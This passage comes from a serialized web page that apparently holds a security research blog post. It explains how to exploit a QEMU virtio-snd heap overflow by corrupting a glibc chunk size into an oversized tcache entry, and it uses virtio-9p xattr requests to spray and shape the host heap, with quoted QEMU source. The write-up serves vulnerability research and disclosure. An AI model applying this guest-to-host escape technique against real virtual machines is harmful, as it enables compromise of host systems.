type":24,"tag":83,"props":127140,"children":127141},{"style":107},[127142],{"type":29,"value":126123},{"type":24,"tag":83,"props":127144,"children":127145},{"class":85,"line":302},[127146],{"type":24,"tag":83,"props":127147,"children":127148},{"emptyLinePlaceholder":16},[127149],{"type":29,"value":3422},{"type":24,"tag":83,"props":127151,"children":127152},{"class":85,"line":324},[127153,127157,127161,127165,127169,127173],{"type":24,"tag":83,"props":127154,"children":127155},{"style":117},[127156],{"type":29,"value":672},{"type":24,"tag":83,"props":127158,"children":127159},{"style":107},[127160],{"type":29,"value":223},{"type":24,"tag":83,"props":127162,"children":127163},{"style":101},[127164],{"type":29,"value":126599},{"type":24,"tag":83,"props":127166,"children":127167},{"style":107},[127168],{"type":29,"value":223},{"type":24,"tag":83,"props":127170,"children":127171},{"style":101},[127172],{"type":29,"value":126533},{"type":24,"tag":83,"props":127174,"children":127175},{"style":107},[127176],{"type":29,"value":126873},{"type":24,"tag":83,"props":127178,"children":127179},{"class":85,"line":345},[127180,127184,127188,127192,127196],{"type":24,"tag":83,"props":127181,"children":127182},{"style":117},[127183],{"type":29,"value":16725},{"type":24,"tag":83,"props":127185,"children":127186},{"style":101},[127187],{"type":29,"value":126885},{"type":24,"tag":83,"props":127189,"children":127190},{"style":107},[127191],{"type":29,"value":223},{"type":24,"tag":83,"props":127193,"children":127194},{"style":187},[127195],{"type":29,"value":126563},{"type":24,"tag":83,"props":127197,"children":127198},{"style":107},[127199],{"type":29,"value":581},{"type":24,"tag":83,"props":127201,"children":127202},{"class":85,"line":358},[127203],{"type":24,"tag":83,"props":127204,"children":127205},{"emptyLinePlaceholder":16},[127206],{"type":29,"value":3422},{"type":24,"tag":83,"props":127208,"children":127209},{"class":85,"line":367},[127210,127214,127218,127223,127228],{"type":24,"tag":83,"props":127211,"children":127212},{"style":101},[127213],{"type":29,"value":126666},{"type":24,"tag":83,"props":127215,"children":127216},{"style":107},[127217],{"type":29,"value":223},{"type":24,"tag":83,"props":127219,"children":127220},{"style":101},[127221],{"type":29,"value":127222},"arena_for_chunk",{"type":24,"tag":83,"props":127224,"children":127225},{"style":107},[127226],{"type":29,"value":127227}," (p), p);",{"type":24,"tag":83,"props":127229,"children":127230},{"style":2735},[127231],{"type":29,"value":127232},"             // [1]\n",{"type":24,"tag":83,"props":127234,"children":127235},{"class":85,"line":406},[127236],{"type":24,"tag":83,"props":127237,"children":127238},{"emptyLinePlaceholder":16},[127239],{"type":29,"value":3422},{"type":24,"tag":83,"props":127241,"children":127242},{"class":85,"line":427},[127243,127247],{"type":24,"tag":83,"props":127244,"children":127245},{"style":117},[127246],{"type":29,"value":126912},{"type":24,"tag":83,"props":127248,"children":127249},{"style":101},[127250],{"type":29,"value":126917},{"type":24,"tag":83,"props":127252,"children":127253},{"class":85,"line":440},[127254,127258,127262,127266,127270,127274,127278,127282,127286,127290,127295,127299,127304],{"type":24,"tag":83,"props":127255,"children":127256},{"style":117},[127257],{"type":29,"value":672},{"type":24,"tag":83,"props":127259,"children":127260},{"style":107},[127261],{"type":29,"value":223},{"type":24,"tag":83,"props":127263,"children":127264},{"style":101},[127265],{"type":29,"value":126933},{"type":24,"tag":83,"props":127267,"children":127268},{"style":107},[127269],{"type":29,"value":126604},{"type":24,"tag":83,"props":127271,"children":127272},{"style":143},[127273],{"type":29,"value":5552},{"type":24,"tag":83,"props":127275,"children":127276},{"style":137},[127277],{"type":29,"value":126946},{"type":24,"tag":83,"props":127279,"children":127280},{"style":107},[127281],{"type":29,"value":161},{"type":24,"tag":83,"props":127283,"children":127284},{"style":137},[127285],{"type":29,"value":126955},{"type":24,"tag":83,"props":127287,"children":127288},{"style":143},[127289],{"type":29,"value":1126},{"type":24,"tag":83,"props":127291,"children":127292},{"style":107},[127293],{"type":29,"value":127294}," tcache ",{"type":24,"tag":83,"props":127296,"children":127297},{"style":143},[127298],{"type":29,"value":15427},{"type":24,"tag":83,"props":127300,"children":127301},{"style":90},[127302],{"type":29,"value":127303}," NULL",{"type":24,"tag":83,"props":127305,"children":127306},{"style":107},[127307],{"type":29,"value":19452},{"type":24,"tag":83,"props":127309,"children":127310},{"class":85,"line":449},[127311],{"type":24,"tag":83,"props":127312,"children":127313},{"style":107},[127314],{"type":29,"value":126686},{"type":24,"tag":25,"props":127316,"children":127317},{},[127318,127320,127325],{"type":29,"value":127319},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":24,"tag":32,"props":127321,"children":127323},{"className":127322},[],[127324],{"type":29,"value":123793},{"type":29,"value":127326},", because on the latest 2.43 glibc they are non-existent.",{"type":24,"tag":18531,"props":127328,"children":127329},{},[],{"type":24,"tag":25,"props":127331,"children":127332},{},[127333,127335,127340,127342,127348,127350,127355,127357,127363],{"type":29,"value":127334},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":24,"tag":32,"props":127336,"children":127338},{"className":127337},[],[127339],{"type":29,"value":123793},{"type":29,"value":127341}," field was initially ",{"type":24,"tag":32,"props":127343,"children":127345},{"className":127344},[],[127346],{"type":29,"value":127347},"0x200",{"type":29,"value":127349},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":24,"tag":32,"props":127351,"children":127353},{"className":127352},[],[127354],{"type":29,"value":125970},{"type":29,"value":127356},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":24,"tag":32,"props":127358,"children":127360},{"className":127359},[],[127361],{"type":29,"value":127362},"[0x210, 0x2f0]",{"type":29,"value":127364},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":24,"tag":25,"props":127366,"children":127367},{},[127368],{"type":29,"value":127369},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":24,"tag":1818,"props":127371,"children":127373},{"id":127372},"heap-spraying",[127374],{"type":29,"value":127375},"Heap Spraying",{"type":24,"tag":25,"props":127377,"children":127378},{},[127379,127381,127386],{"type":29,"value":127380},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":24,"tag":32,"props":127382,"children":127384},{"className":127383},[],[127385],{"type":29,"value":127347},{"type":29,"value":127387},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":24,"tag":25,"props":127389,"children":127390},{},[127391,127393,127398],{"type":29,"value":127392},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":24,"tag":32,"props":127394,"children":127396},{"className":127395},[],[127397],{"type":29,"value":123988},{"type":29,"value":127399}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":24,"tag":25,"props":127401,"children":127402},{},[127403],{"type":29,"value":127404},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":24,"tag":18631,"props":127406,"children":127408},{"id":127407},"virtio-9p",[127409],{"type":29,"value":127407},{"type":24,"tag":25,"props":127411,"children":127412},{},[127413,127418],{"type":24,"tag":32,"props":127414,"children":127416},{"className":127415},[],[127417],{"type":29,"value":127407},{"type":29,"value":127419}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":24,"tag":25,"props":127421,"children":127422},{},[127423,127425,127431,127433,127439,127440,127446,127448,127453],{"type":29,"value":127424},"Through a ",{"type":24,"tag":32,"props":127426,"children":127428},{"className":127427},[],[127429],{"type":29,"value":127430},"P9_TXATTRCREATE",{"type":29,"value":127432}," request, we can allocate host-side buffers for both the ",{"type":24,"tag":32,"props":127434,"children":127436},{"className":127435},[],[127437],{"type":29,"value":127438},".name",{"type":29,"value":2287},{"type":24,"tag":32,"props":127441,"children":127443},{"className":127442},[],[127444],{"type":29,"value":127445},".value",{"type":29,"value":127447}," fields, with the size of ",{"type":24,"tag":32,"props":127449,"children":127451},{"className":127450},[],[127452],{"type":29,"value":127445},{"type":29,"value":127454}," being directly controlled by the guest.",{"type":24,"tag":73,"props":127456,"children":127458},{"code":127457,"language":2891,"meta":7,"className":16250,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[127459],{"type":24,"tag":32,"props":127460,"children":127461},{"__ignoreMap":7},[127462,127504,127511,127535,127548,127559,127584,127592,127617,127634,127650,127676,127683,127704,127770,127794,127807,127814,127821,127828,127835,127855,127876,127887,127894,127901,127908,127915,127964,128020,128065],{"type":24,"tag":83,"props":127463,"children":127464},{"class":85,"line":86},[127465,127469,127473,127478,127483,127487,127491,127495,127500],{"type":24,"tag":83,"props":127466,"children":127467},{"style":90},[127468],{"type":29,"value":50759},{"type":24,"tag":83,"props":127470,"children":127471},{"style":90},[127472],{"type":29,"value":50764},{"type":24,"tag":83,"props":127474,"children":127475},{"style":107},[127476],{"type":29,"value":127477}," coroutine_fn ",{"type":24,"tag":83,"props":127479,"children":127480},{"style":101},[127481],{"type":29,"value":127482},"v9fs_xattrcreate",{"type":24,"tag":83,"props":127484,"children":127485},{"style":107},[127486],{"type":29,"value":558},{"type":24,"tag":83,"props":127488,"children":127489},{"style":90},[127490],{"type":29,"value":51342},{"type":24,"tag":83,"props":127492,"children":127493},{"style":143},[127494],{"type":29,"value":9563},{"type":24,"tag":83,"props":127496,"children":127497},{"style":137},[127498],{"type":29,"value":127499},"opaque",{"type":24,"tag":83,"props":127501,"children":127502},{"style":107},[127503],{"type":29,"value":2905},{"type":24,"tag":83,"props":127505,"children":127506},{"class":85,"line":113},[127507],{"type":24,"tag":83,"props":127508,"children":127509},{"style":107},[127510],{"type":29,"value":10628},{"type":24,"tag":83,"props":127512,"children":127513},{"class":85,"line":128},[127514,127518,127523,127527,127531],{"type":24,"tag":83,"props":127515,"children":127516},{"style":90},[127517],{"type":29,"value":18816},{"type":24,"tag":83,"props":127519,"children":127520},{"style":107},[127521],{"type":29,"value":127522}," flags, rflags ",{"type":24,"tag":83,"props":127524,"children":127525},{"style":143},[127526],{"type":29,"value":1275},{"type":24,"tag":83,"props":127528,"children":127529},{"style":245},[127530],{"type":29,"value":248},{"type":24,"tag":83,"props":127532,"children":127533},{"style":107},[127534],{"type":29,"value":321},{"type":24,"tag":83,"props":127536,"children":127537},{"class":85,"line":183},[127538,127543],{"type":24,"tag":83,"props":127539,"children":127540},{"style":90},[127541],{"type":29,"value":127542},"    int32_t",{"type":24,"tag":83,"props":127544,"children":127545},{"style":107},[127546],{"type":29,"value":127547}," fid;\n",{"type":24,"tag":83,"props":127549,"children":127550},{"class":85,"line":203},[127551,127555],{"type":24,"tag":83,"props":127552,"children":127553},{"style":90},[127554],{"type":29,"value":55326},{"type":24,"tag":83,"props":127556,"children":127557},{"style":107},[127558],{"type":29,"value":124135},{"type":24,"tag":83,"props":127560,"children":127561},{"class":85,"line":212},[127562,127567,127572,127576,127580],{"type":24,"tag":83,"props":127563,"children":127564},{"style":90},[127565],{"type":29,"value":127566},"    ssize_t",{"type":24,"tag":83,"props":127568,"children":127569},{"style":107},[127570],{"type":29,"value":127571}," err ",{"type":24,"tag":83,"props":127573,"children":127574},{"style":143},[127575],{"type":29,"value":1275},{"type":24,"tag":83,"props":127577,"children":127578},{"style":245},[127579],{"type":29,"value":248},{"type":24,"tag":83,"props":127581,"children":127582},{"style":107},[127583],{"type":29,"value":321},{"type":24,"tag":83,"props":127585,"children":127586},{"class":85,"line":256},[127587],{"type":24,"tag":83,"props":127588,"children":127589},{"style":107},[127590],{"type":29,"value":127591},"    V9fsString name;\n",{"type":24,"tag":83,"props":127593,"children":127594},{"class":85,"line":270},[127595,127599,127604,127608,127613],{"type":24,"tag":83,"props":127596,"children":127597},{"style":90},[127598],{"type":29,"value":16300},{"type":24,"tag":83,"props":127600,"children":127601},{"style":107},[127602],{"type":29,"value":127603}," offset ",{"type":24,"tag":83,"props":127605,"children":127606},{"style":143},[127607],{"type":29,"value":1275},{"type":24,"tag":83,"props":127609,"children":127610},{"style":245},[127611],{"type":29,"value":127612}," 7",{"type":24,"tag":83,"props":127614,"children":127615},{"style":107},[127616],{"type":29,"value":321},{"type":24,"tag":83,"props":127618,"children":127619},{"class":85,"line":302},[127620,127625,127629],{"type":24,"tag":83,"props":127621,"children":127622},{"style":107},[127623],{"type":29,"value":127624},"    V9fsFidState ",{"type":24,"tag":83,"props":127626,"children":127627},{"style":143},[127628],{"type":29,"value":4315},{"type":24,"tag":83,"props":127630,"children":127631},{"style":107},[127632],{"type":29,"value":127633},"file_fidp;\n",{"type":24,"tag":83,"props":127635,"children":127636},{"class":85,"line":324},[127637,127641,127645],{"type":24,"tag":83,"props":127638,"children":127639},{"style":107},[127640],{"type":29,"value":127624},{"type":24,"tag":83,"props":127642,"children":127643},{"style":143},[127644],{"type":29,"value":4315},{"type":24,"tag":83,"props":127646,"children":127647},{"style":107},[127648],{"type":29,"value":127649},"xattr_fidp;\n",{"type":24,"tag":83,"props":127651,"children":127652},{"class":85,"line":345},[127653,127658,127662,127667,127671],{"type":24,"tag":83,"props":127654,"children":127655},{"style":107},[127656],{"type":29,"value":127657},"    V9fsPDU ",{"type":24,"tag":83,"props":127659,"children":127660},{"style":143},[127661],{"type":29,"value":4315},{"type":24,"tag":83,"props":127663,"children":127664},{"style":107},[127665],{"type":29,"value":127666},"pdu ",{"type":24,"tag":83,"props":127668,"children":127669},{"style":143},[127670],{"type":29,"value":1275},{"type":24,"tag":83,"props":127672,"children":127673},{"style":107},[127674],{"type":29,"value":127675}," opaque;\n",{"type":24,"tag":83,"props":127677,"children":127678},{"class":85,"line":358},[127679],{"type":24,"tag":83,"props":127680,"children":127681},{"emptyLinePlaceholder":16},[127682],{"type":29,"value":3422},{"type":24,"tag":83,"props":127684,"children":127685},{"class":85,"line":367},[127686,127691,127695,127699],{"type":24,"tag":83,"props":127687,"children":127688},{"style":101},[127689],{"type":29,"value":127690},"    v9fs_string_init",{"type":24,"tag":83,"props":127692,"children":127693},{"style":107},[127694],{"type":29,"value":558},{"type":24,"tag":83,"props":127696,"children":127697},{"style":143},[127698],{"type":29,"value":2853},{"type":24,"tag":83,"props":127700,"children":127701},{"style":107},[127702],{"type":29,"value":127703},"name);\n",{"type":24,"tag":83,"props":127705,"children":127706},{"class":85,"line":406},[127707,127712,127716,127721,127726,127731,127735,127739,127744,127748,127753,127757,127761,127765],{"type":24,"tag":83,"props":127708,"children":127709},{"style":107},[127710],{"type":29,"value":127711},"    err ",{"type":24,"tag":83,"props":127713,"children":127714},{"style":143},[127715],{"type":29,"value":1275},{"type":24,"tag":83,"props":127717,"children":127718},{"style":101},[127719],{"type":29,"value":127720}," pdu_unmarshal",{"type":24,"tag":83,"props":127722,"children":127723},{"style":107},[127724],{"type":29,"value":127725},"(pdu, offset, ",{"type":24,"tag":83,"props":127727,"children":127728},{"style":187},[127729],{"type":29,"value":127730},"\"dsqd\"",{"type":24,"tag":83,"props":127732,"children":127733},{"style":107},[127734],{"type":29,"value":568},{"type":24,"tag":83,"props":127736,"children":127737},{"style":143},[127738],{"type":29,"value":2853},{"type":24,"tag":83,"props":127740,"children":127741},{"style":107},[127742],{"type":29,"value":127743},"fid, ",{"type":24,"tag":83,"props":127745,"children":127746},{"style":143},[127747],{"type":29,"value":2853},{"type":24,"tag":83,"props":127749,"children":127750},{"style":107},[127751],{"type":29,"value":127752},"name, ",{"type":24,"tag":83,"props":127754,"children":127755},{"style":143},[127756],{"type":29,"value":2853},{"type":24,"tag":83,"props":127758,"children":127759},{"style":107},[127760],{"type":29,"value":126503},{"type":24,"tag":83,"props":127762,"children":127763},{"style":143},[127764],{"type":29,"value":2853},{"type":24,"tag":83,"props":127766,"children":127767},{"style":107},[127768],{"type":29,"value":127769},"flags);\n",{"type":24,"tag":83,"props":127771,"children":127772},{"class":85,"line":427},[127773,127777,127782,127786,127790],{"type":24,"tag":83,"props":127774,"children":127775},{"style":117},[127776],{"type":29,"value":218},{"type":24,"tag":83,"props":127778,"children":127779},{"style":107},[127780],{"type":29,"value":127781}," (err ",{"type":24,"tag":83,"props":127783,"children":127784},{"style":143},[127785],{"type":29,"value":5552},{"type":24,"tag":83,"props":127787,"children":127788},{"style":245},[127789],{"type":29,"value":248},{"type":24,"tag":83,"props":127791,"children":127792},{"style":107},[127793],{"type":29,"value":253},{"type":24,"tag":83,"props":127795,"children":127796},{"class":85,"line":440},[127797,127802],{"type":24,"tag":83,"props":127798,"children":127799},{"style":117},[127800],{"type":29,"value":127801},"        goto",{"type":24,"tag":83,"props":127803,"children":127804},{"style":107},[127805],{"type":29,"value":127806}," out_nofid;\n",{"type":24,"tag":83,"props":127808,"children":127809},{"class":85,"line":449},[127810],{"type":24,"tag":83,"props":127811,"children":127812},{"style":107},[127813],{"type":29,"value":446},{"type":24,"tag":83,"props":127815,"children":127816},{"class":85,"line":458},[127817],{"type":24,"tag":83,"props":127818,"children":127819},{"emptyLinePlaceholder":16},[127820],{"type":29,"value":3422},{"type":24,"tag":83,"props":127822,"children":127823},{"class":85,"line":1065},[127824],{"type":24,"tag":83,"props":127825,"children":127826},{"style":107},[127827],{"type":29,"value":104334},{"type":24,"tag":83,"props":127829,"children":127830},{"class":85,"line":1668},[127831],{"type":24,"tag":83,"props":127832,"children":127833},{"emptyLinePlaceholder":16},[127834],{"type":29,"value":3422},{"type":24,"tag":83,"props":127836,"children":127837},{"class":85,"line":1713},[127838,127842,127846,127850],{"type":24,"tag":83,"props":127839,"children":127840},{"style":117},[127841],{"type":29,"value":218},{"type":24,"tag":83,"props":127843,"children":127844},{"style":107},[127845],{"type":29,"value":126604},{"type":24,"tag":83,"props":127847,"children":127848},{"style":143},[127849],{"type":29,"value":10209},{"type":24,"tag":83,"props":127851,"children":127852},{"style":107},[127853],{"type":29,"value":127854}," P9_XATTR_SIZE_MAX) {\n",{"type":24,"tag":83,"props":127856,"children":127857},{"class":85,"line":1730},[127858,127863,127867,127871],{"type":24,"tag":83,"props":127859,"children":127860},{"style":107},[127861],{"type":29,"value":127862},"        err ",{"type":24,"tag":83,"props":127864,"children":127865},{"style":143},[127866],{"type":29,"value":1275},{"type":24,"tag":83,"props":127868,"children":127869},{"style":143},[127870],{"type":29,"value":50970},{"type":24,"tag":83,"props":127872,"children":127873},{"style":107},[127874],{"type":29,"value":127875},"E2BIG;\n",{"type":24,"tag":83,"props":127877,"children":127878},{"class":85,"line":1770},[127879,127883],{"type":24,"tag":83,"props":127880,"children":127881},{"style":117},[127882],{"type":29,"value":127801},{"type":24,"tag":83,"props":127884,"children":127885},{"style":107},[127886],{"type":29,"value":127806},{"type":24,"tag":83,"props":127888,"children":127889},{"class":85,"line":1778},[127890],{"type":24,"tag":83,"props":127891,"children":127892},{"style":107},[127893],{"type":29,"value":446},{"type":24,"tag":83,"props":127895,"children":127896},{"class":85,"line":1803},[127897],{"type":24,"tag":83,"props":127898,"children":127899},{"emptyLinePlaceholder":16},[127900],{"type":29,"value":3422},{"type":24,"tag":83,"props":127902,"children":127903},{"class":85,"line":1811},[127904],{"type":24,"tag":83,"props":127905,"children":127906},{"style":107},[127907],{"type":29,"value":104334},{"type":24,"tag":83,"props":127909,"children":127910},{"class":85,"line":8792},[127911],{"type":24,"tag":83,"props":127912,"children":127913},{"emptyLinePlaceholder":16},[127914],{"type":29,"value":3422},{"type":24,"tag":83,"props":127916,"children":127917},{"class":85,"line":8810},[127918,127922,127926,127930,127935,127939,127943,127947,127952,127956,127960],{"type":24,"tag":83,"props":127919,"children":127920},{"style":101},[127921],{"type":29,"value":127690},{"type":24,"tag":83,"props":127923,"children":127924},{"style":107},[127925],{"type":29,"value":558},{"type":24,"tag":83,"props":127927,"children":127928},{"style":143},[127929],{"type":29,"value":2853},{"type":24,"tag":83,"props":127931,"children":127932},{"style":137},[127933],{"type":29,"value":127934},"xattr_fidp",{"type":24,"tag":83,"props":127936,"children":127937},{"style":107},[127938],{"type":29,"value":13502},{"type":24,"tag":83,"props":127940,"children":127941},{"style":137},[127942],{"type":29,"value":36712},{"type":24,"tag":83,"props":127944,"children":127945},{"style":107},[127946],{"type":29,"value":161},{"type":24,"tag":83,"props":127948,"children":127949},{"style":137},[127950],{"type":29,"value":127951},"xattr",{"type":24,"tag":83,"props":127953,"children":127954},{"style":107},[127955],{"type":29,"value":161},{"type":24,"tag":83,"props":127957,"children":127958},{"style":137},[127959],{"type":29,"value":48216},{"type":24,"tag":83,"props":127961,"children":127962},{"style":107},[127963],{"type":29,"value":581},{"type":24,"tag":83,"props":127965,"children":127966},{"class":85,"line":8855},[127967,127972,127976,127980,127984,127988,127992,127996,128000,128004,128008,128012,128016],{"type":24,"tag":83,"props":127968,"children":127969},{"style":101},[127970],{"type":29,"value":127971},"    v9fs_string_copy",{"type":24,"tag":83,"props":127973,"children":127974},{"style":107},[127975],{"type":29,"value":558},{"type":24,"tag":83,"props":127977,"children":127978},{"style":143},[127979],{"type":29,"value":2853},{"type":24,"tag":83,"props":127981,"children":127982},{"style":137},[127983],{"type":29,"value":127934},{"type":24,"tag":83,"props":127985,"children":127986},{"style":107},[127987],{"type":29,"value":13502},{"type":24,"tag":83,"props":127989,"children":127990},{"style":137},[127991],{"type":29,"value":36712},{"type":24,"tag":83,"props":127993,"children":127994},{"style":107},[127995],{"type":29,"value":161},{"type":24,"tag":83,"props":127997,"children":127998},{"style":137},[127999],{"type":29,"value":127951},{"type":24,"tag":83,"props":128001,"children":128002},{"style":107},[128003],{"type":29,"value":161},{"type":24,"tag":83,"props":128005,"children":128006},{"style":137},[128007],{"type":29,"value":48216},{"type":24,"tag":83,"props":128009,"children":128010},{"style":107},[128011],{"type":29,"value":568},{"type":24,"tag":83,"props":128013,"children":128014},{"style":143},[128015],{"type":29,"value":2853},{"type":24,"tag":83,"props":128017,"children":128018},{"style":107},[128019],{"type":29,"value":127703},{"type":24,"tag":83,"props":128021,"children":128022},{"class":85,"line":8961},[128023,128028,128032,128036,128040,128044,128048,128052,128056,128060],{"type":24,"tag":83,"props":128024,"children":128025},{"style":137},[128026],{"type":29,"value":128027},"    xattr_fidp",{"type":24,"tag":83,"props":128029,"children":128030},{"style":107},[128031],{"type":29,"value":13502},{"type":24,"tag":83,"props":128033,"children":128034},{"style":137},[128035],{"type":29,"value":36712},{"type":24,"tag":83,"props":128037,"children":128038},{"style":107},[128039],{"type":29,"value":161},{"type":24,"tag":83,"props":128041,"children":128042},{"style":137},[128043],{"type":29,"value":127951},{"type":24,"tag":83,"props":128045,"children":128046},{"style":107},[128047],{"type":29,"value":161},{"type":24,"tag":83,"props":128049,"children":128050},{"style":137},[128051],{"type":29,"value":38870},{"type":24,"tag":83,"props":128053,"children":128054},{"style":143},[128055],{"type":29,"value":146},{"type":24,"tag":83,"props":128057,"children":128058},{"style":101},[128059],{"type":29,"value":123706},{"type":24,"tag":83,"props":128061,"children":128062},{"style":107},[128063],{"type":29,"value":128064},"(size);\n",{"type":24,"tag":83,"props":128066,"children":128067},{"class":85,"line":23248},[128068],{"type":24,"tag":83,"props":128069,"children":128070},{"style":107},[128071],{"type":29,"value":464},{"type":24,"tag":25,"props":128073,"children":128074},{},[128075,128077,128082,128084,128089,128090,128095,128097,128102],{"type":29,"value":128076},"Because the ",{"type":24,"tag":32,"props":128078,"children":128080},{"className":128079},[],[128081],{"type":29,"value":127438},{"type":29,"value":128083}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":24,"tag":32,"props":128085,"children":128087},{"className":128086},[],[128088],{"type":29,"value":127438},{"type":29,"value":2287},{"type":24,"tag":32,"props":128091,"children":128093},{"className":128092},[],[128094],{"type":29,"value":127445},{"type":29,"value":128096},", not just the ",{"type":24,"tag":32,"props":128098,"children":128100},{"className":128099},[],[128101],{"type":29,"value":127445},{"type":29,"value":128103}," we actually care about. But we will get around this later in the blog post.",{"type":24,"tag":25,"props":128105,"children":128106},{},[128107,128108,128113],{"type":29,"value":16348},{"type":24,"tag":32,"props":128109,"children":128111},{"className":128110},[],[128112],{"type":29,"value":127445},{"type":29,"value":128114}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":24,"tag":25,"props":128116,"children":128117},{},[128118,128120,128125,128127,128133,128135,128141,128143,128149],{"type":29,"value":128119},"Once allocated, we can write arbitrary bytes into the ",{"type":24,"tag":32,"props":128121,"children":128123},{"className":128122},[],[128124],{"type":29,"value":127445},{"type":29,"value":128126}," buffer through a ",{"type":24,"tag":32,"props":128128,"children":128130},{"className":128129},[],[128131],{"type":29,"value":128132},"P9_TWRITE",{"type":29,"value":128134}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":24,"tag":32,"props":128136,"children":128138},{"className":128137},[],[128139],{"type":29,"value":128140},"P9_TREAD",{"type":29,"value":128142},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":24,"tag":32,"props":128144,"children":128146},{"className":128145},[],[128147],{"type":29,"value":128148},"P9_TCLUNK",{"type":29,"value":128150}," request on that same FID.",{"type":24,"tag":25,"props":128152,"children":128153},{},[128154,128156,128162],{"type":29,"value":128155},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":24,"tag":32,"props":128157,"children":128159},{"className":128158},[],[128160],{"type":29,"value":128161},"65536",{"type":29,"value":128163}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":24,"tag":1818,"props":128165,"children":128167},{"id":128166},"setting-the-heap-layout",[128168],{"type":29,"value":128169},"Setting the Heap Layout",{"type":24,"tag":25,"props":128171,"children":128172},{},[128173,128175,128180],{"type":29,"value":128174},"Ideally, we want a contiguous heap region consisting only of ",{"type":24,"tag":32,"props":128176,"children":128178},{"className":128177},[],[128179],{"type":29,"value":127445},{"type":29,"value":128181}," allocations, like this:",{"type":24,"tag":73,"props":128183,"children":128185},{"code":128184},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128186],{"type":24,"tag":32,"props":128187,"children":128188},{"__ignoreMap":7},[128189],{"type":29,"value":128184},{"type":24,"tag":25,"props":128191,"children":128192},{},[128193,128195,128200,128202,128207,128209,128214],{"type":29,"value":128194},"This lets us later create holes by freeing every other ",{"type":24,"tag":32,"props":128196,"children":128198},{"className":128197},[],[128199],{"type":29,"value":127445},{"type":29,"value":128201}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":24,"tag":32,"props":128203,"children":128205},{"className":128204},[],[128206],{"type":29,"value":123793},{"type":29,"value":128208}," field of the next live ",{"type":24,"tag":32,"props":128210,"children":128212},{"className":128211},[],[128213],{"type":29,"value":127445},{"type":29,"value":128215}," chunk.",{"type":24,"tag":25,"props":128217,"children":128218},{},[128219],{"type":29,"value":128220},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":24,"tag":25,"props":128222,"children":128223},{},[128224,128226,128231,128233,128238,128240,128245,128247,128252],{"type":29,"value":128225},"As mentioned earlier, ",{"type":24,"tag":32,"props":128227,"children":128229},{"className":128228},[],[128230],{"type":29,"value":127482},{"type":29,"value":128232}," always allocates two chunks: one for ",{"type":24,"tag":32,"props":128234,"children":128236},{"className":128235},[],[128237],{"type":29,"value":127438},{"type":29,"value":128239}," and one for ",{"type":24,"tag":32,"props":128241,"children":128243},{"className":128242},[],[128244],{"type":29,"value":127445},{"type":29,"value":128246},". We want to avoid having ",{"type":24,"tag":32,"props":128248,"children":128250},{"className":128249},[],[128251],{"type":29,"value":127438},{"type":29,"value":128253}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":24,"tag":63,"props":128255,"children":128256},{},[128257,128269],{"type":24,"tag":67,"props":128258,"children":128259},{},[128260,128262,128267],{"type":29,"value":128261},"Make ",{"type":24,"tag":32,"props":128263,"children":128265},{"className":128264},[],[128266],{"type":29,"value":127438},{"type":29,"value":128268}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":24,"tag":67,"props":128270,"children":128271},{},[128272,128274,128279,128281,128286,128288,128293],{"type":29,"value":128273},"Prepare a separate region whose sole purpose is to absorb ",{"type":24,"tag":32,"props":128275,"children":128277},{"className":128276},[],[128278],{"type":29,"value":127438},{"type":29,"value":128280},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy 